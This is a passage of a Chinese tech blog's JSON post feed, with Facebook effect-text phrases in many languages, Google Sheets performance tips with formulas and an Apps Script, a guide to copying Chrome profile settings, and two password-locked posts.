прекарахме страхотно 保加利亚语 изкарах си страхотно 保加利亚语 изкарахме страхотно 克罗地亚语 bilo je lijepo 克罗地亚语 bilo lijepo 克罗地亚语 lijepo proveli 古吉拉特语 મસ્ત સમય । અદ્ભુત સમય 印地语 बेहतरीन समय 卡纳达语 ಅದ್ಭುತ ಸಮಯ 立陶宛语 puikus laikas 印尼语 saat yang indah 马拉地语 मस्त वेळ 旁遮普语 ਸ਼ਾਨਦਾਰ ਸਮਾਂ 塞尔维亚语 добро провели 塞尔维亚语 добро провести 塞尔维亚语 добар провод 斯瓦希里语 muda mzuri 泰米尔语 அருமையாக 泰米尔语 அருமையான நேரம் 泰米尔语 அருமையான 泰卢固语 అద్భుతమైన సమయం 马拉雅拉姆语 അസുലഭ നിമിഷം 乌克兰语 чудовий час 越南语 thời gian tuyệt diệu 阿拉伯语 وقت رائع 阿拉伯语 أوقات رائعة 乌尔都语 بہترین وقت 缅甸语 အံ့ဩစရာအချိန် 缅甸语 အံ့ဩစရာအခ်ိန္ 捷克语 skvělá zábava 挪威语 en hyggelig dag 丹麦语 en hyggelig aften 西班牙语 que la pases genial 西班牙语 que lo pases genial 西班牙语 que la pasen genial 西班牙语 que lo pasen genial 西班牙语 que la pases increíble 西班牙语 que lo pases increíble 西班牙语 que la pasen increíble 西班牙语 que lo pasen increíble 西班牙语 gran experiencia 西班牙语 buen momento 芬兰语 aivan mahtava 芬兰语 aivan ihana 意大利语 bella serata 意大利语 bella giornata 意大利语 bel pomeriggio 意大利语 bella mattinata 日语 素敵な時間 日语 すてきな時間 日语 ステキな時間 日语 素敵なひととき 日语 ステキなひととき 日语 素敵なひと時 日语 ステキなひと時 韩语 좋은 시간 挪威语 ha det hyggelig 挪威语 har det hyggelig 挪威语 hadde det hyggelig 挪威语 har hatt det hyggelig 挪威语 får det hyggelig 荷兰语 echt geweldig 波兰语 bardzo miło 波兰语 wspaniale 波兰语 świetnie 斯洛伐克语 krásne chvíle 瑞典语 en trevlig stund 土耳其语 güzel zaman 土耳其语 güzel vakit 中文 很开心 中文繁体 美好時光 中文繁体 美好時刻 布尔语(南非荷兰语) heerlike tyd 阿尔巴尼亚语 kohë e bukur 孟加拉语 সুন্দর সময় 保加利亚语 прекарах си чудесно 保加利亚语 прекарахме чудесно 保加利亚语 изкарах си чудесно 保加利亚语 изкарахме чудесно 克罗地亚语 bilo je divno 克罗地亚语 bilo divno 克罗地亚语 divno proveli 克罗地亚语 uživao sam 克罗地亚语 uživala sam 克罗地亚语 uživali smo 古吉拉特语 સારો સમય । સુંદર સમય । સરસ સમય 印地语 बढ़िया समय 卡纳达语 ಸುಂದರ ಸಮಯ 立陶宛语 malonus laikas 印尼语 saat yang menyenangkan 马拉地语 छान वेळ 马拉地语 सुंदर वेळ 旁遮普语 ਦਿਲਕਸ਼ ਸਮਾਂ 塞尔维亚语 лепо провели 塞尔维亚语 лепо провести 斯瓦希里语 muda wa kupendeza 泰米尔语 இனிமையாக 泰米尔语 இனிமையான நேரம் 泰卢固语 మనోహరమైన సమయం 马拉雅拉姆语 ആസ്വാദ്യകരമായ നിമിഷം 乌克兰语 милий час 越南语 thời gian tuyệt vời 越南语 thời gian thú vị 越南语 thời gian đẹp 阿拉伯语 وقت سعيد 阿拉伯语 أوقات سعيدة 乌尔都语 خوشگوار وقت 缅甸语 ချစ်စရာ့အချိန် 缅甸语 ခ်စ္စရာ့အခ်ိန္ 五角星 语言 内容 英语 you're the best 英语 you're the bestest 捷克语 jsi nejlepší 捷克语 jste nejlepší 捷克语 jsi jednička 捷克语 jste jednička 丹麦语 du er den bedste 丹麦语 du er bare den bedste 德语 du bist der Beste 德语 du bist die Beste 德语 ihr seid die Besten 芬兰语 olet paras 法语 t'es le meilleur 法语 t'es la meilleure 法语 tu es le meilleur 法语 tu es la meilleure 匈牙利语 te vagy a legjobb 意大利语 sei il migliore 意大利语 sei la migliore 意大利语 sei il numero uno 意大利语 sei la numero uno 日语 あなたが一番! 日语 あんたが一番! 日语 君が一番! 日语 あなたは最高! 日语 あんたは最高! 日语 君は最高! 韩语 네가 최고야 挪威语 du er den beste 挪威语 du er best 荷兰语 je bent de beste 波兰语 jesteś wspaniały 波兰语 jesteś wspaniała 波兰语 bosko 波兰语 o to chodziło 葡萄牙语 você é incrível 西班牙语 és o maior 加泰罗尼亚语 és a maior 葡萄牙语 são os maiores 葡萄牙语 são as maiores 罗马尼亚语 eşti cel mai bun 罗马尼亚语 eşti cea mai bună 罗马尼亚语 eşti cea mai bun(ă) 俄语 ты лучший 俄语 ты лучшая 俄语 вы лучшие 斯洛伐克语 si najlepší 斯洛伐克语 si najlepšia 斯洛伐克语 ste najlepší 斯洛伐克语 si jednotka 斯洛伐克语 ste jednotka 瑞典语 du är bäst 土耳其语 süpersin 土耳其语 süpersiniz 土耳其语 harikasın 土耳其语 harikasınız 中文 你真棒 中文 你最棒啦 中文 有你真好 中文 你最好了 中文 你好叻 中文繁体 你好勁 中文 你最棒了 布尔语(南非荷兰语) jy's die beste 布尔语(南非荷兰语) jy is die beste 阿尔巴尼亚语 je më i miri 阿尔巴尼亚语 je më e mira 孟加拉语 আপনি সবার সেরা 孟加拉语 তুই সবার সেরা 孟加拉语 তুমি সবার সেরা 保加利亚语 Ти си върхът 克罗地亚语 najbolji si 克罗地亚语 najbolja si 希腊语 είσαι μοναδικός 希腊语 είσαι μοναδική 希腊语 είσαι ο καλύτερος 希腊语 είσαι η καλύτερη 希腊语 είσαι αστέρι 古吉拉特语 તમે બહુ સારા છો । તમે શ્રેષ્ઠ છો 印地语 तुम कमाल हो 印地语 तुम शानदार हो 马来语 hebat 马来语 mantap 马来语 terbaik 卡纳达语 ನೀನು ಅತ್ಯುತ್ತಮ 立陶宛语 tu geriausias 立陶宛语 tu geriausia 马拉地语 तुम्ही सर्वोत्तम आहात 马拉地语 तू खूप छान आहेस 旁遮普语 ਤੁਸੀਂ ਸਰਵੋਤਮ ਹੋ 塞尔维亚语 најбољи си 塞尔维亚语 најбоља си 斯瓦希里语 wewe ni bora zaidi 英语 the best ka 泰米尔语 உன்னை அடிச்சிக்கவே முடியாது 泰米尔语 உன்னை மிஞ்ச முடியாது 泰米尔语 உனக்கு நிகர் யாருமில்லை 泰米尔语 உனக்கு நிகர் நீயேதான் 泰米尔语 உன்னைத் தாண்ட ஆளில்லை 马拉雅拉姆语 ഏറ്റവും നല്ല സുഹൃത്ത് നീയാണ് 塞尔维亚语 ти супер 阿拉伯语 أنت الأفضل 阿拉伯语 أنت الأحسن 阿拉伯语 لا مثيل لك 阿拉伯语 أنت أحسن ما في الدنيا 乌尔都语 آپ بہترین ہیں 缅甸语 သင်ဟာ အကောင်းဆုံးပါပဲ 缅甸语 သင္ဟာ အေကာင္းဆုံးပါပဲ ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 特效文字","feature":"https://dev-coco.github.io/post-images/Facebook-Effect-Text.jpg","link":"https://dev-coco.github.io/post/Facebook-Effect-Text/","stats":{"text":"11 min read","time":630000,"words":2454,"minutes":11},"date":"2023-02-03 21:37:22","dateFormat":"2023-02-03"},{"content":"一个通用型性能优化技巧,加快数据传输速度。 适用场景 有时候在 Google 表格使用 IMPORTRANGE 或 VLOOKUP 等函数,遇到大范围的数据,运行起来速度就会特别慢。 优化思路 将数据 “压缩”,等传输或者运算后,再将数据 “解压缩”。 实例 例如从 B1 到 V18 范围,如果要将这个范围的数据,使用 IMPORTRANGE 导入到其它电子表格,那么就需要导入 378 个单元格。 使用 JOIN 函数对数据进行横向拼接。 =JOIN("@", B1:V1) 注意,定界符必须是独一无二的,不能出现在拼接的数据中,否则下面的步骤会出现异常。JOIN 函数不支持数组,如果需要使用数组合并,需要将字符挨个拼接到一起。 =ARRAYFORMULA(B:B&"@"&C:C&"@"&D:D&"@"&E:E&"@"&F:F&"@"&G:G&"@"&H:H&"@"&I:I&"@"&J:J&"@"&K:K&"@"&L:L&"@"&M:M&"@"&N:N&"@"&O:O&"@"&P:P&"@"&Q:Q&"@"&R:R&"@"&S:S&"@"&T:T&"@"&U:U&"@"&V:V) 拼接在一起后,A 列的数据就已经包含了右边一大堆的单元格的数据了。 现在将这一部分数据使用 IMPORTRANGE 函数导入到其它的电子表格,只需要获取 A1 到 A18 的范围,也就是 18个单元格,这样相比 378 个单元格的数据要少很多很多。 使用 SPLIT 函数将数据拆分开。 =SPLIT(A1, "@", TRUE, FALSE) 移除空白参数要设置 FALSE,否则遇到空白的内容会跳过,这样会造成位置偏移。SPLIT 函数支持使用数组输出。拆分后的数据和源数据的显示效果是一样的。 思路总结 这个思路有点类似文件压缩和解压缩,将大量的数据合并到一起,减少传输的数据量,获取到数据后再进行拆分。这个方法同样也适用于 VLOOKUP, FILTER, QUERY 等函数。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 数据压缩","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Compress.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Compress/","stats":{"text":"3 min read","time":144000,"words":583,"minutes":3},"date":"2023-02-03 01:17:57","dateFormat":"2023-02-03"},{"content":"创建小型辅助表。 适用场景 从大型数据中根据需求建立一个小型数据的辅助表。 优化思路 使用筛选函数,根据条件筛选出需要的部分,并创建辅助表,再进行下一步的使用。 实例一 例如要从 A 到 C 列查询出小李,小蓝和小红的分数,如果按照常规 VLOOKUP 匹配的方式,小李要计算 6 次,小蓝要计算 8 次,小红要计算 10 次,一共就需要计算 24 次才能得到结果。VLOOKUP 计算原理参考:IF 跳过无效内容。 从名字的特征中可以看出,这些都属于优等生的名单,差等生的数据是用不到的,那么就可以将优等生先筛选出来作为辅助表。 这样就得到了一个更小数据的内容了。 这个时候再使用 VLOOKUP 去匹配数据,小李要计算 4 次,小蓝要计算 5 次,小红要计算 6 次,一共需要计算 15 次就能得到结果,要比常规的方式计算速度快更一些。数据越大,性能提高的就会越显著。 注意:请勿将筛选辅助表的函数嵌套在 VLOOKUP 内运行,这样不仅性能得不到提升,反而性能会降低很多。 因为在 VLOOKUP 查询之前,需要将数据源先筛选一遍,然后再将筛选的后结果进行匹配,这样计算的内容要比数据源更大了,所以会导致性能降低。 实例二 需要将 A 和 B 列的内容,跨表引用到另外一个表格中,但是只需要近 30 天的数据。使用 FILTER 函数,再用 TODAY 进行计算,把近 30 天的数据创建一个小型的辅助表。这样最终要跨表引用的数据就会小一些了。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 创建辅助表","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Auxiliary-Sheet.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Auxiliary-Sheet/","stats":{"text":"2 min read","time":103000,"words":495,"minutes":2},"date":"2023-02-02 14:42:32","dateFormat":"2023-02-02"},{"content":"Apple 全家桶包含:Fitness+、Apple TV、Apple Music、News+、Arcade、iCloud+。 staticrypt-form{background:#fff;max-width:360px;margin:0 auto;padding:45px;text-align:center;box-shadow:0 0 20px 0 rgba(0,0,0,.2),0 5px 5px 0 rgba(0,0,0,.24)}.staticrypt-form input{background:#f2f2f2;width:100%;margin:0 0 15px;padding:15px;box-sizing:border-box;font-size:14px}.staticrypt-form .staticrypt-decrypt-button{background:#4caf50;width:100%;padding:15px;color:#fff;font-size:14px} 美区账号亲测领取成功,其它区域的账号请自行测试。 订阅 Telegram 频道:瑞景乐的博客 获取密码 请输入密码后查看 var a=256,b=1e3;function c(c,d){var e=CryptoJS.enc.Hex.parse(c.substr(0,32)),f=CryptoJS.enc.Hex.parse(c.substr(32,32)),g=c.substring(64),h=CryptoJS.PBKDF2(d,e,{keySize:a/32,iterations:b}),i=CryptoJS.AES.decrypt(g,h,{iv:f,padding:CryptoJS.pad.Pkcs7,mode:CryptoJS.mode.CBC}).toString(CryptoJS.enc.Utf8);return i}document.getElementById(\"staticrypt-form\").addEventListener(\"submit\",function(e){e.preventDefault();var a=document.getElementById(\"staticrypt-password\").value,b=\"9244563a49bda8f2b4f90145ffada78d13d352920ea5b2c4c80c3a6289c35cc2339ed145c01a5bdc530cf2a1411cfa1b3ef879d133bf6e0fc3872031bad4e6e4xvVQMaP8ZyTACjYqnxyms2UcYS2rNJXFDm8Bez9A8W84AVFWF4JAc8BAZwlZGHSJX95g+Rrs9QgyAI6l7wHjD2tsckLlkf/NpeJowVzGfpVp3r9O4ttQNvP8q+kU0HHOQuPaOzPDDseoSiKCa19L3NF8Hf5P0Jo/lzhRTwELQoBqQjdnFQSlwdrxiYtx8y0gR/naLbWxLl38XwI0nykxzQHEB96bL11EBHa+I2WDnt6rZkAFoFkC5IZ/+vyZmnNTRzFRFRDVgemjOMXRAYNQsyLvPR0mobEHO+1yekGp1dvtu9AAcWNVPDFtlT4MFcp83hQTEDMuy/lt0W2BaI9b15B1OwOIVtgdZorgW8ot4ZoH2wKcZ1xLOB7G99fnBkuavbzbm0RxyBCFjYu23I/mYaRNAOujMbh+1PYJFtG/7vDe+IshseEDUh0lNUz27EgHS/LXTePBGOPt+5oTTNysSkgAccnRUAJiw1FS1qel1vak0vg7ZrRkHGlO90pEkyR1W7tNRtfY8Cy2zwt7q1xNGKrfOSFylkrgtQpMb6v+nGDvONUS+wKiOsFcv4sPKY6CvVuCv7689P+jc/ZiQSnnndszs/rhfhiK73XI0svg0I5lnbPgWVH9fGxpI/2Ane9vS+sry9NudR1DVB4aL2qW82qsi1V8T6QcsOvWbWVatYdF6lMUojUbrpMdsyMiRwzzjCnF/H39jNJH4iRJeiUJYny4Ge+Z0SvTogtZ6+J4RTLOgUNJVufI6OdLHirRaZJnMckTvx4jwf9uEYDhcG33po2IZBITkKXDW90S9zrLO+j+qewUgDASb+VKbwP/KPSkAvwpuxx4JpcByFFsLQzkITj7bnktXopHiCAHEKYdvt9EGLbL4d7DETnROW479WfKG5Nv/gGRFt6YyB/6Gzh79QTVJBkf2YPkN30kZtdWgZeAKaJEKbrl9ZxkBYxSJvAnXrU9bqmYBXVMF7uqYhhd9it5uR2Bn9ClGqHa17DGsjXqA0CSBnEXnskaV086eL/4N4G1ae2Uv26Ci+MM8EWbQO4pOpNnjiRSfDjWv8bCVhbMPonoXAx5oVnxQMPCZO+ycgzaovLAH5lvklBk2TZmiYK+7sGLJQRdZPDh3X6OL/2RUVwLbC06sAVpLb++mC+mg5409jBGtbiUm5B82GulvQ2sfHHarczGirr3ymaHVjed6oB9y6Qigit1vE1WxYIZs8ANOSQca+eHp58Mt8vh7u7OsHEfqkJyExkWVjYaBAAUSrJJ36Yjh1zxhQay0Kj6Homn3hfq7q7rQIQ0ceV8qTOAr0Dz+F66nWnMdGZ8Acphg7P1oHAuJ5aQfN4RIZubCNU7QNJfW5fXXcw/qMEUjA3uDr6VcGwdWFfXqWZ9Ycd14yXw/CS5snNJac3UOolj45Tv8ZPWGoqs7IBRpKTjlzTOXHFzavhUmBtTibUmyrdPceQEKt1YFwSlw6N1h8XzoL51ap8Pyfx9QMu0wZq9sg==\",f=b.substring(0,64),d=b.substring(64),g=CryptoJS.HmacSHA256(d,CryptoJS.SHA256(a).toString()).toString();if(g!==f){alert(\"Wrong Password!\");return}var h=c(d,a);document.getElementById(\"article\").innerHTML=h}) ","tags":[{"name":"iOS","slug":"ios","used":true,"link":"https://dev-coco.github.io/tag/ios/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"Apple 全家桶免费体验","feature":"https://dev-coco.github.io/post-images/Apple-Service-Free-Trial.png","link":"https://dev-coco.github.io/post/Apple-Service-Free-Trial/","stats":{"text":"2 min read","time":100000,"words":290,"minutes":2},"date":"2023-01-31 14:15:32","dateFormat":"2023-01-31"},{"content":"一个简单便捷的功能快速新建浏览器人员并且带配置。 如何安装 从 软件列表 下载 新建浏览器人员软件。 使用前的准备 新建一个浏览器人员,并且将浏览器设置好,选择备份配置。 选择对应的浏览器。 在桌面上会生成一个 browserConfig 文件夹,里面是浏览器人员的配置文件。 原理参考:Chrome 复制浏览器配置 使用说明 打开软件后,选择对应的浏览器。 然后输入需要新建浏览器人员的数量,根据电脑配置选择,请勿一次性设置过多,避免卡顿。设置完成后点击 好 按钮,耐心等待。 如果是第一次使用,会出现下图的提示,点击好。 当通知中心提示完成,就说明已经建立完成。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"快速新建浏览器人员工具","feature":"https://dev-coco.github.io/post-images/Browser-Copy-Profile.png","link":"https://dev-coco.github.io/post/Browser-Copy-Profile/","stats":{"text":"1 min read","time":45000,"words":224,"minutes":1},"date":"2023-01-25 19:31:38","dateFormat":"2023-01-25"},{"content":"比原生的方式更快的方法。 适用场景 有大量的数据,或者动态的数据需要跨表引用。 优化思路 将需要引用的数据拆分成多个异步执行,或者引用限定的范围。 实例一 有一个 30 万的数据需要跨表引用。如果是常规的方法直接引用 =IMPORTRANGE("SheetID", "A1:A300000") 大约需要 12 秒左右。 把 30 万的数据平均拆成 10 份,每个引用 3 万的数据,并且用数组执行。 ={ IMPORTRANGE("SheetID", "A1:A30000"); IMPORTRANGE("SheetID", "A30001:A60000"); IMPORTRANGE("SheetID", "A60001:A90000"); IMPORTRANGE("SheetID", "A90001:A120000"); IMPORTRANGE("SheetID", "A120001:A150000"); IMPORTRANGE("SheetID", "A150001:A180000"); IMPORTRANGE("SheetID", "A180001:A210000"); IMPORTRANGE("SheetID", "A210001:A240000"); IMPORTRANGE("SheetID", "A240001:A270000"); IMPORTRANGE("SheetID", "A270001:A300000") } 因为 IMPORTRANGE 函数是异步运行,所以并不会等待前面的结果计算完成后再运行下一个 IMPORTRANGE,而是在执行的过程中继续往下运行。大于需要 9 秒左右,相比常规的跨表引用速度要快。 实例二 有一个动态的内容需要跨表引用,数据会随时增加或者删减。因为数据长度的未知性,就需要引用更多的单元格或者引用一整列,确保增加数据的时候依然在引用的范围内,这样同时也会造成一个问题,会引用更多空白的单元格,造成没必要的性能消耗。 先使用 COUNTA 计算数据的长度,因为数据在第二行,所以需要将数据计算的结果再加一才能保持数据长度一致。 在另外一个工作表先用 IMPORTRANGE 引用数据的长度,也就是 COUNTA 计算的结果。然后引用范围从第二行开始,结束的行设置成计算好的数据长度。这样不管在数据源怎么变动数据,都可以将数据的长度同步到当前的表格,并且只引用需要的范围,这样要比一整列引用数据要小得多。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 跨表引用","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Cross-Reference.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Cross-Reference/","stats":{"text":"3 min read","time":126000,"words":548,"minutes":3},"date":"2023-01-15 20:32:47","dateFormat":"2023-01-15"},{"content":"一个快捷、安全的方式复制浏览器的配置。 此方法基本上适用于基于 Chrome 内核的浏览器。 步骤 浏览器添加一个新的人员。 打开浏览器配置目录。 浏览器每新建一个人员都会在此目录下创建一个名字为 Profile 序号 的文件夹,每新建一个人员序号都会累加。 一般情况下最新建立的人员,是目录在Profile 序号数字最大的那个文件夹。 Google Chrome macOS 路径 ~/Library/Application Support/Google/Chrome Windows 路径 C:\\Users\\%username%\\AppData\\Local\\Google\\Chrome\\User Data Microsoft Edge macOS 路径 ~/Library/Application Support/Microsoft Edge Windows 路径 C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Edge\\User Data Brave-Browser macOS 路径 ~/Library/Application Support/BraveSoftware Windows 路径 C:\\Users\\%username%\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data 设置浏览器 先不要使用浏览器打开任何的网页。在右上角打开浏览器的设置,先把浏览器都设置好。 设置好后在 Profile 文件夹内把 Preferences 文件复制出来。 安装插件 在 Chrome 商店安装,还是从第三方渠道安装或者是本地文件安装都可以。 插件全部都安装好并且设置好后,在 Profile 文件夹内把 Extensions 文件夹和 Secure Preferences 文件夹复制出来。 设置书签 将书签都保存好后,在 Profile 文件夹内把 Bookmarks 文件复制出来。 插件配置 将插件设置好相关参数后,在 Profile 文件夹内把 Local Extension Settings 文件夹复制出来。 复制配置 关闭浏览器进程,将备份出来的这些文件和文件夹替换到新建立的人员的 Profile 文件夹内即可。如果软件没有彻底关闭,有些文件处于被占用的状态,会导致替换的文件无法正常生效。 说明 Preferences 用于存储浏览器的各项设置。 Extensions 从 Chrome 商店或者第三方渠道在线安装插件的文件。 Local Extension Settings 插件的配置数据。 Secure Preferences 插件的一些信息,包括从本地安装的插件。 Bookmarks 浏览器的书签。 如果将整个 Profile 配置文件的内容复制给新的人员,会导致“共享 Cookies”的效果。如下图所示: 在任意一个人员登陆了账号,那么账号的 Cookies 会在其它的人员里面也存在,但是这种效果并不合理,每个浏览器的人员的 Cookies 信息必须是独立的。 因为 Profile 里面有很多个文件,每个文件存储着不同的信息,但每个文件具体是保存什么信息的,目前并没有分析和研究。不过只需要按照上面的步骤,将相关的文件复制到对应的浏览器人员就可以了,并不会出现“共享 Cookies” 的效果。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"复制浏览器配置","feature":"https://dev-coco.github.io/post-images/Chrome-Copy-Profile.jpg","link":"https://dev-coco.github.io/post/Chrome-Copy-Profile/","stats":{"text":"3 min read","time":157000,"words":714,"minutes":3},"date":"2023-01-11 22:03:23","dateFormat":"2023-01-11"},{"content":"Skylum Luminar AI 是一款图像编辑软件。 staticrypt-form{background:#fff;max-width:360px;margin:0 auto;padding:45px;text-align:center;box-shadow:0 0 20px 0 rgba(0,0,0,.2),0 5px 5px 0 rgba(0,0,0,.24)}.staticrypt-form input{background:#f2f2f2;width:100%;margin:0 0 15px;padding:15px;box-sizing:border-box;font-size:14px}.staticrypt-form .staticrypt-decrypt-button{background:#4caf50;width:100%;padding:15px;color:#fff;font-size:14px} 订阅 Telegram 频道:瑞景乐的博客 获取密码 请输入密码后查看 var a=256,b=1e3;function c(c,d){var e=CryptoJS.enc.Hex.parse(c.substr(0,32)),f=CryptoJS.enc.Hex.parse(c.substr(32,32)),g=c.substring(64),h=CryptoJS.PBKDF2(d,e,{keySize:a/32,iterations:b}),i=CryptoJS.AES.decrypt(g,h,{iv:f,padding:CryptoJS.pad.Pkcs7,mode:CryptoJS.mode.CBC}).toString(CryptoJS.enc.Utf8);return i}document.getElementById(\"staticrypt-form\").addEventListener(\"submit\",function(e){e.preventDefault();var a=document.getElementById(\"staticrypt-password\").value,b=\"f5ee5941424d6826bfee1f81279617728d03d5bc959e60248c09fdecadac17186f81628c955005e56183a07634cc2bd24c999d8f64b9e46ed310b07a5c77cb63FIR3Qyn20C9bG9dJgVxXLOlfP0rldXFGed7eacCRWluWlBmLJaRhr5ce+EoajlraPE+jeaSF4wvS7iayw2m028CHP/cmY3IbS8sadfu4POzCw1eT3BUb0B8PlOcb5RagWX+F9mgnueG31jagxHF1ZwcaNtvKzo2pVym8HwgPnCm3b4SjuC4psHLuGZtYsc9s6L10Q+5tNrShxB6Q65+z6kS6kS7Wl4TgWvtt7CF+xdLwWWbpBghE6IPn/7Hm3Qmx9IQN4qq6dtmYZR+wWt/uxf6UJLQc6GNfIivg0C9rsZMZN1eVZMMAwK9jB2JyMgVpfr7Z3K/2UUAbWdiSxHPKgufOxFTAD6O28lA9/KkjjbtcS7b/k+lv2sxrZbF88aTQdAEdtttu9iQ0Tblni606vt0bgQy/jKLH0PxIFNu7ts1y+csVMD03b+EeGGB6+6CJDtn7hulNWU9YvxaQ4rhO0cCTJ7rsXKb3qo9qNvmLI/vLW/bWyEV9+DIT2FtUiUMEx/RFzvVos5rxuOgGhixUiyaWXLEVrW2A+htxdQNtmS9iZPOXolumr2ZS76eehlpPBtx/TA2qDK+2eRV4HTX1kecaB5ZLIjo/gN8194pX7IVrGXWiqVYJRgldXK671X2qKw6M4MrNrRtVl4kTbBMDpoIUvM7EEqotrA17ej2+NRYMUW+HRPgpDir85uAyWKJp8FQIcAapFKgLZbWHdVqJuxn3QiAd0pcYRn7PpJytSHL4hXCUrpSuM83S1YteoF2yHJf2kgLnhl+EZFbRNyP3wnsm5sZtWZdpVddymBBVeWivOLeKJMIotEtXcFW1EaeAH+lCV0A0rdOfmIcXLlhPUxXnQ6NtMtxhZCgnlxuE8Khadxmx3bslNV1Uz8/IRYzPwLfynOekOdCSXRRpZtN/xct3XxArtsmL/oU0v+0hP525aNb30c57M1VjxxzLhcHkRDfCu1nO6d0ySmDYoA+wZBBKfAuSVtIPfiFa9Nm8LlanXwM005zq5UKgee25VCab18F0DrH2dvAiX9S3GZJEb2Q1z1DRjyu1khvLGqVp1zgvy4dIhuZ099tyGWWM5EQs4KHJYjeWmnFOegOZab272nIRYs95G6n61Pey8s7NvTx7qcyYHjqkQa4GlVT4S/B9ghgrmpxNTt6lg6KXami+Pwgx+EYZY/ZPWK/6A09S7G1TId4KNRrpru0DAkgVyFEJz4IdUlNvDl0Ijh7fUSoEzW0O/mCaodGMTOBAElMTAu4mRmdvBSIQu9N/jaBUY540I0q0Q4pNCgOuhFVXSYSZCvRiXA3Q5ImoGvaaeP7sfKLMOzox8JsAr1MJwWcmMmWjTgpshe464j7m3qSGYZM+V2Y5ihCTwMW1vpnxr/Xa+5E/hUD71pXvvl+3stkucCyBMsMQYKqutyU2lnPNexi/1B1eZg/MgPsZwCGPy3T5A3npxVzjMyfXCTjO0NTB9/UCG1kHS6JoSaIIeBstlr+Ok4c7FhLTxqVjh6L6MnwnyWhPtfW8RH78jBTZ6Eu+v4BL\",f=b.substring(0,64),d=b.substring(64),g=CryptoJS.HmacSHA256(d,CryptoJS.SHA256(a).toString()).toString();if(g!==f){alert(\"Wrong Password!\");return}var h=c(d,a);document.getElementById(\"article\").innerHTML=h})","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"Luminar AI 免费激活码","feature":"https://dev-coco.github.io/post-images/Luminar-AI-Free-License.png","link":"https://dev-coco.github.io/post/Luminar-AI-Free-License/","stats":{"text":"2 min read","time":98000,"words":276,"minutes":2},"date":"2023-01-08 09:49:05","dateFormat":"2023-01-08"},{"content":"单元格越少,速度相对越快。 优化思路 删除无用的行和列。 实例一 新建一个空白表格的时候,默认会创建一个 26 * 1000 单元格的表格,过多的单元格会降低表格的运行速度,即使是空白的单元格也一样,有的时候并没有完全使用到这么多的单元格,所以删除一些用不到的行或者列有助于提升性能。 使用 Google 脚本批量删除未使用到的行和列,也可以新增一个定时器,定期删除空行和列。 function removeEmpty () { const sheets = SpreadsheetApp.getActiveSpreadsheet().getSheets() for (const sheet of sheets) { const maxRows = sheet.getMaxRows() const lastRow = sheet.getLastRow() const maxColumns = sheet.getMaxColumns() const lastColumn = sheet.getLastColumn() if (lastRow != 0 && maxRows - lastRow != 0) sheet.deleteRows(lastRow + 1, maxRows - lastRow) if (lastColumn != 0 && maxColumns - lastColumn != 0) sheet.deleteColumns(lastColumn + 1, maxColumns - lastColumn) } } 实例二 打开空白表格的时候,里面没有任何内容,加载的速度会比较快,因为会优先处理当前的表格,然后再处理其它的分表的内容,特别是在表格内有大量函数在计算的时候,这个方法效果会比较明显。 测试结果:常规的表格打开耗时在 10 秒以上,优先打开空白表格耗时 3 秒左右。 相关推荐: Google Excel 性能优化教程目录 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"},{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 减少单元格","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Reduce-Cell.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Reduce-Cell/","stats":{"text":"2 min read","time":79000,"words":340,"minutes":2},"date":"2023-01-05 11:09:18","dateFormat":"2023-01-05"},{"content":"不同的引用方式速度也不同。 适用场景 根据不同的数据使用不同的引用方式。 测试条件 在 30 万的数据中使用不同的方式引用。 封闭范围引用 =A1:A300000 耗时 8 秒左右。 从第一行开始到结束引用 =A1:A 耗时 10 秒左右。 整列引用 =A:A 耗时 13 秒左右。 在引用单元格的时候,可能会直接使用 A:A,假设有 1000 行,也就是引用从 A1 到 A1000 这个范围。如果实际用到的单元格没有那么多,也许只用到了 300 行,那么剩下 700 行空白单元格都被引用,这样会无意义的降低运行速度。所以可以缩小引用的范围,而不是一整列引用。 在数据相同长度的情况下,A1:A30000 的运行速度要比 A1:A 快,但是 A1:A 的运行速度要比 A:A 快。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 引用范围","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Reference-Range.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Reference-Range/","stats":{"text":"1 min read","time":55000,"words":254,"minutes":1},"date":"2022-12-30 13:27:17","dateFormat":"2022-12-30"},{"content":"用 IF 函数跳过无效内容,加快运行速度。 适用场景 数据量比较多,而且数据比较杂乱。 例如需要将 A 列的内容,根据 E 和 F 列匹配出对应的内容,A 列的内容掺杂着一些空值。 优化思路 用 IF 函数判断 A 列的内容是否是空值,如果不是空值再使用 VLOOKUP 函数进行匹配,如果是空值直接跳过,节省使用 VLOOKUP 